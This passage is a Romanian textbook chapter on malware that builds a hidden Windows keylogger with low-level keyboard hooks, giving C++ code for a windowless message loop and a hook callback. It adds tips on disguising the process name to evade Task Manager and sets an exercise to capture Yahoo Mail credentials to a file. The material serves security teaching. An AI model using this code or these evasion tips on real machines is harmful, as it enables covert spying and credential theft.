3. Aplicații „Malware”

„Malware”, creat din cuvintele „malicious” și „software”, identifică softuri proiectate pentru înfiltrarea într-un sistem și deteriorarea sau spionarea acestuia fără acordul proprietarului. Aceste programe au apărut o dată cu primele calculatoare personale, dezvoltarea și răspândirea acestora accelerându-se o dată cu dezvoltarea Internetului.

În literatura de specialitate sunt identificate următoarele categorii de programe care intră în categoria „Malware”:

- *Virus* – program care o dată lansat în execuție încearcă să se multiplice, să-și copieze propriul cod într-un alt cod executabil. La o multiplicare cu succes, se poate afirma că destinația a fost „infectată”. Viruşii au nevoie de un program „gazdă”, o dată lansată în execuție gazda, codul virusului va fi și el executat;
- *Worm* – program care poate rula independent și are capacitatea de auto-replicare pe alte sisteme sau rețele;
- *Trojan horse* – programe care apar a fi legitime, însă conțin și o funcționalitate ascunsă, malițioasă ce exploatează mecanismele de autorizare legitime ale sistemului pe care sunt rulate;
- *Spyware* – programe care adună informații legate despre sistemul pe care sunt rulate și le transmit altor sisteme. În această categorie intră și *Spyware Trojan*, care reprezintă programe *Spyware* aparent legitime sau *Spyware Worm*, reprezentând programe *Spyware* cu capacitate de auto-replicare pe alte sisteme sau rețele.

O paletă mult mai largă de „Malware” este prezentată pe larg de William Stalings și Lawrie Brown [SB08], aceştia identificând totodată sub-clasele de „Malware”, precum și mecanismele de protejare împotriva acestora.

Întrucât proiectarea mecanismelor de protejare a sistemelor necesită o profundă înțelegere a principiilor de funcționare a softurilor „Malware”, în cadrul acestui capitol ne propunem să construim o parte a unui soft *Spyware* pentru sisteme Windows. Scopul acestui program, care rulează într-o aplicație fără fereastră, va fi acela de a loga toate tastele apăsate fără ca utilizatorul să știe de existența ei. Pornind de la un asemenea program, se pot construi aplicații care să filtreze tastele apăsate la logarea într-un cont de email sau într-un cont pe un sistem la distanță și transmiterea acestor informații pe alte sisteme, de unde un atacator le poate utiliza.

O metodă foarte simplă pentru capturarea tuturor tastelor apăsate pe sistemele Windows, o reprezintă utilizarea Windows „hooks”. În continuarea acestui capitol sunt descrise aceste mecanisme și este construită o aplicație exemplu pentru un *Spyware*.

3.1 Windows „hooks” (i.e. cârligele din Windows)

„Un *cârlig* Windows este un punct în mecanismul sistemului de procesare a mesajelor unde o aplicație poate instala o subrutină pentru monitorizarea traficului în

sistem şi pentru a procesa unele tipuri de mesaje înainte ca acestea să ajungă la procedura destinație" (*MSDN*).

Tabelul 3.1 Tipuri de cârlige care se pot instala

Tip cârlig	Descriere
WH_CALLWNDPROC şi WH_CALLWNDPROCRET	Monitorizarea mesajelor trimise procedurilor fereastră. Sistemul apelează WH_CALLWNDPROC înaintea transmiterii mesajului unei proceduri fereastră şi apelează WH_CALLWNDPROCRET după ce procedura a procesat mesajul.
WH_CBT	Înaintea terminării unei comenzi sistem; înaintea maximizării, minimizării, închiderii, deschiderii unei ferestre, fiind destinat aplicațiilor de tip „training".
WH_DEBUG	Se apelează înaintea apelării celorlalte cârlige, fiind deosebit de util în blocarea execuției altor cârlige.
WH_FOREGROUNDIDLE	Se apelează când firul curent devine *idle*, astfel oferind posibilitatea completării unor task-uri cu prioritate scăzută.
WH_GETMESSAGE	Permite monitorizarea mesajelor care sunt pe cale să fie returnate de funcțiile *GetMessage* sau *PeekMesage*.
WH_JOURNALRECORD	Permite monitorizarea şi înregistrarea evenimentelor provenite de la tastatură sau mouse. De obicei, acest tip de cârlig se foloseşte pentru înregistrarea evenimentelor şi retransmiterea lor ulterioară folosind un cârlig. WH_JOURNALPLAYBACK. Evenimentele nu sunt înregistrate automat, ci ele trebuie stocate în memorie de către program. Acest tip diferă de celelalte prin faptul că poate fi ataşat numai firului curent.
WH_JOURNALPLAYBACK	Permite unei aplicații să insereze mesaje în coada de mesaje a sistemului. Folosind acest tip de cârlig, se pot insera mesaje înregistrate cu WH_JOURNALRECORD. Cât timp un asemena cârlig este instalat în sistem, evenimentele de tastatură şi mouse sunt dezactivate.
WH_KEYBOARD_LL	Monitorizarea mesajelor de apăsare a unei tastate pe cale să fie depusă în coada de mesaje a unui fir. Prin înregistrarea unui asemenea cârlig, se pot bloca diferite mesaje înainte ca acestea să fie inserate în coada de mesaje al unui alt fir.
WH_KEYBOARD	Monitorizarea mesajelor de apăsare a unei taste pe cale să fie returnate de *GetMessage* sau *PeekMesage*.
WH_MOUSE_LL	Monitorizarea mesajelor de mouse pe cale să fie transmise în coada de mesaje al unui fir. La fel ca şi WH_KEYBOARD_LL, acest tip de cârlig permite interceptarea şi blocarea mesajelor înainte ca acestea să fie inserate în coada de mesaje a unui alt fir.
WH_MOUSE	Monitorizarea mesajelor de mouse pe cale să fie returnate de *GetMessage* sau *PeekMesage*.
WH_MSGFILTER şi WH_SYSMSGFILTER	Permite monitorizarea mesajelor pe cale de procesare de către un meniu, bară de scroll, fereastră dialog de mesaj („message box"), fereastră dialog („dialog box").
WH_SHELL	Permite unei aplicații să primească notificări importante. Sistemul apelează o procedură WH_SHELL când aplicația Shell este pe cale să fie activată şi când o fereastră top-level este pe cale să fie creată sau distrusă.

Cârligele Windows tind să încetinească sistemul întrucât fiecare mesaje trebuie procesat de subrutina sau subrutinele atașate. De fapt, Windows suportă mai multe tipuri de cârlige enumerate în tabelul 3.1. Fiecare asemenea cârlig poate avea asociat o listă de funcții *callback* înregistrate.

Întrucât aceste mecanisme folosesc sistemul de mesaje Windows, implementarea lor presupune crearea unui mediu propice primirii şi prelucrării mesajelor. Cea mai simplă metodă pentru ca sistemul de operare Windows să creeze o coadă de mesaje pentru o anumită aplicație, este realizarea unei aplicații care are o fereastră înregistrată. În această categorie intră şi aplicațiile *Dialog Based*, *Document-View* sau *Multiple Documents*, care pot fi create folosind Microsoft Visual Studio. O altă metodă implică realizarea unei aplicații Windows care să nu conțină nici o fereastră, însă coada de mesaje să fie creată prin apelul fincțiilor `GetMessage`, `TranslateMessage` şi `DispatchMessage`.

3.2 Aplicații win32 fără fereastră şi cozi de mesaje

În Microsoft Visual C++ se creează un proiect nou *Win32, Win32 Project, Empty project*. Pentru crearea cozii de mesaje Windows, se va include o secvență de preluare şi procesare a mesajelor, precum în secvența următoare:

```
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

        MSG  msg;
        while( GetMessage( &msg, NULL, 0, 0 ) != 0 )
        {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
        }

        return 0;
}
```

Funcția `GetMessage` scoate un mesaj din coada de mesaje a firului curent. Dacă funcția preia un mesaj diferit de `WM_QUIT`, va returna o valoare diferită de zero. La preluarea unui mesaj `WM_QUIT` va returna zero.

Cea de-a doua funcție prezentă în procesul de prelucrare a mesajelor este `TranslateMessage`, folosită pentru a transforma mesajele corespunzătoare tastelor virtuale, în mesaje caracter.

Ultima funcție, `DispatchMessage`, este cea care transmite mesajul preluat şi prelucrat, ferestrelor prezente în aplicație.

3.3 Inserarea unui cârlig Windows

Pentru utilizarea cârligelor Windows, compilatorul trebuie notificat că se utilizează o versiune NT mai mare de `0x400`, întrucât doar începând cu versiunile `0x400` au fost

introduse aceste cârlige. Definițiile specifice cârligelor sunt date în *WinUser.h* într-o secvență de testare a versiunii NT astfel:

```
#if (_WIN32_WINNT >= 0x0400)

      … // Definiții cârlige

#endif
```

Astfel, înaintea includerii fişierului *windows.h*, care la rândul lui va include *WinUser.h*, în aplicația creată trebuie introdusă secvența de testare a versiunii şi în cazul în care aceata nu este corespunzătoare, definirea versiunii `0x400`:

```
#if !defined _WIN32_WINNT

      #define     _WIN32_WINNT 0x400

#elif  (_WIN32_WINNT < 0x400)

      #undef      _WIN32_WINNT
      #define     _WIN32_WINNT 0x400

#endif

#include <windows.h>
```

Inserarea cârligelor Windows se realizează prin intermediul funcției `SetWindowsHookEx()`. Funcția primeşte ca parametrii tipul cârligului instalat, procedura apelată, handle al instanței curente şi identificatorul firului ale cărui mesaje sunt interceptate. Dacă ultimul parametru este 0, atunci procedura este asociată cu toate firele care rulează pe sistem.

Pentru aplicația `WinMain` creată, vom utiliza secvența următoare de cod pentru crearea unui asemenea cârlig, unde `g_hHook` este o variabilă declarată global de tipul `HHOOK`:

```
g_hHook = SetWindowsHookEx( WH_KEYBOARD_LL,
                            KeyboardProc,
                            hInstance,
                            0 );
if ( NULL == g_hHook ) {
      MessageBox( NULL, _T("Could not install hook procedure"),
                  _T("Hook error"), MB_OK | MB_ICONERROR );
      return -1;
}
```

În secvența de cod anterioară, funcția `SetWindowsHookEx` s-a apelat cu parametrul `WH_KEYBOARD_LL` pentru a instala un cârlig de capturare a tastelor apăsate. Pentru acest tip de cârlig trebuie definită o funcție callback `KeyboardProc` cu prototipul:

```
LRESULT CALLBACK KeyboardProc( int nCode,
                               WPARAM wParam,
                               LPARAM lParam );
```

Primul parametru, `nCode`, reprezintă un cod prin care procedura este informată cum anume trebuie să interpreteze evenimentul. Dacă valoarea acestui parametru este negativă, funcția trebuie să apeleze `CallNextHookEx()` şi nu trebuie să proceseze evenimentul. Dacă valoarea acestuia este egală cu `HC_ACTION`, atunci parametrii `wParam` şi `lParam` conțin informații legate de o apăsarea unei taste şi evenimentul poate fi procesat.

Al doilea parametru, `wParam`, conține tipul evenimentului de tip apăsare. Acesta poate avea una din următoarele valori:

- `WM_KEYDOWN` – la apăsarea unei taste non-sistem, adică o tastă apăsată fără ca tasta `ALT` să fie ținută apăsat;
- `WM_KEYUP` – la eliberarea unei taste non-sistem;
- `WM_SYSKEYDOWN` – la apăsarea unei taste sistem, adică o combinație de taste ce implică şi apăsarea tastei `ALT`;
- `WM_SYSKEYUP` – la eliberarea unei taste sistem.

Ultimul parametru, `lParam`, reprezintă un pointer către o structură `KBDLLHOOKSTRUCT`, definită în *WinUser.h*:

```
typedef struct tagKBDLLHOOKSTRUCT {
    DWORD   vkCode;
    DWORD   scanCode;
    DWORD   flags;
    DWORD   time;
    ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
```

unde `vkCode` reprezintă codul virtual al tastei apăsate, cu o valoare între 1 şi 254; `scanCode` reprezintă codul hardware al tastei apăsate; `flags` conține informații legate de contextul de apăsare, posibile valori incluzând `LLKHF_EXTENDED`, `LLKHF_INJECTED`, `LLKHF_ALTDOWN` şi `LLKHF_UP`; `time` reprezintă marca de timp la care s-a generat evenimentul; `dwExtraInfo` conține alte informații legate de eveniment ce pot fi adăugate de aplicații.

Valoarea returnată de funcția `KeyboardProc` influențează procesarea ulterioară a mesajelor sistemului. Dacă funcția nu dorește să proceseze un anumit mesaj, aceasta TREBUIE să apeleze funcția `CallNextHookEx` pentru a da şansa şi altor aplicații să proceseze mesajul şi TREBUIE să se returneze valoarea returnată de această funcție.

În cazul în care se dorește prevenirea procesării unui anumit mesaj de alte aplicații, valoarea returnată trebuie să fie diferită de `0`. Prin acest mecanism se pot filtra o serie de evenimente de tip apăsare a tastelor nedorite.

Un exemplu de procesare a tastelor este dat în secvența următoare, unde se blochează vizualizarea meniului de START şi evenimentul apăsării tastei F8 este procesat şi transmis mai departe:

```
#define VK_CODE_START         91
#define VK_CODE_F8            119

…

if ( nCode < 0 ) {
      return CallNextHookEx( g_hHook, nCode, wParam, lParam );
}

if ( nCode == HC_ACTION )
{
  if ( wParam == WM_KEYDOWN )
  {
      KBDLLHOOKSTRUCT* pStruct =
                  reinterpret_cast< KBDLLHOOKSTRUCT* >( lParam );

      // Eveniment blocat
      if ( pStruct->vkCode == VK_CODE_START ) {
            return TRUE;
      }

      // Eveniment procesat şi transmis mai departe
      // (Apăsarea butonului OK se realizează de către utilizator
      // rezultând un timp de ordinul secundelor pentru procesare)
      else if ( pStruct->vkCode == VK_CODE_F8 ) {
            MessageBox( NULL, _T("Mesaj procesat!"), _T("Info"),
                        MB_OK | MB_ICONINFORMATION );
      }
  }
}

return CallNextHookEx( g_hHook, nCode, wParam, lParam );
…
```

În cazul mesajelor procesate, ale căror propagare la alte aplicații trebuie blocată, trebuie asigurat un timp de procesare cât mai redus, de ordinul milisecundelor. În caz contrar, mesajul este transmis mai departe celorlalte aplicații înregistrate pentru acest eveniment.

Pornind de la o asemenea aplicație, care spionează tastele apăsate de utilizator, pot fi construite aplicații cu suport de comunicare pe rețea, care să transmită mai departe aceste informații. În plus, informațiile legate de apăsarea tastelor pot fi combinate cu alte informații legate de procesele care rulează, arhitectura hardware, etc., care însumate pot fi utilizate pentru construirea unor atacuri devastatoare.

Pentru ca utilizatorul obişnuit să nu poată depista aplicația de spionare din Task Manager, acesteia i se poate da un nume care duce cu gândul la aplicații ale sistemului, vitale pentru execuția acestuia, cum ar fi *kernel32* sau *sys64service*. Pe de altă parte, dacă se doreşte blocarea operației de terminare a aplicației de spionare, aceasta trebuie instalată cu drepturi de super-utilizator.

Temă. Să se implementeze o aplicație fără fereastră care determină denumirea utilizator şi parola introduse de utilizator într-un cont de Yahoo Mail. Informațiile extrase sunt logate într-un fişier. Aplicația va bloca evenimentul vizualizării meniului de start pe

baza apăsări butonului START, va afişa mesaj „You have been hacked!” pentru tasta F1 şi îşi va termina execuția la apăsarea tastei F12.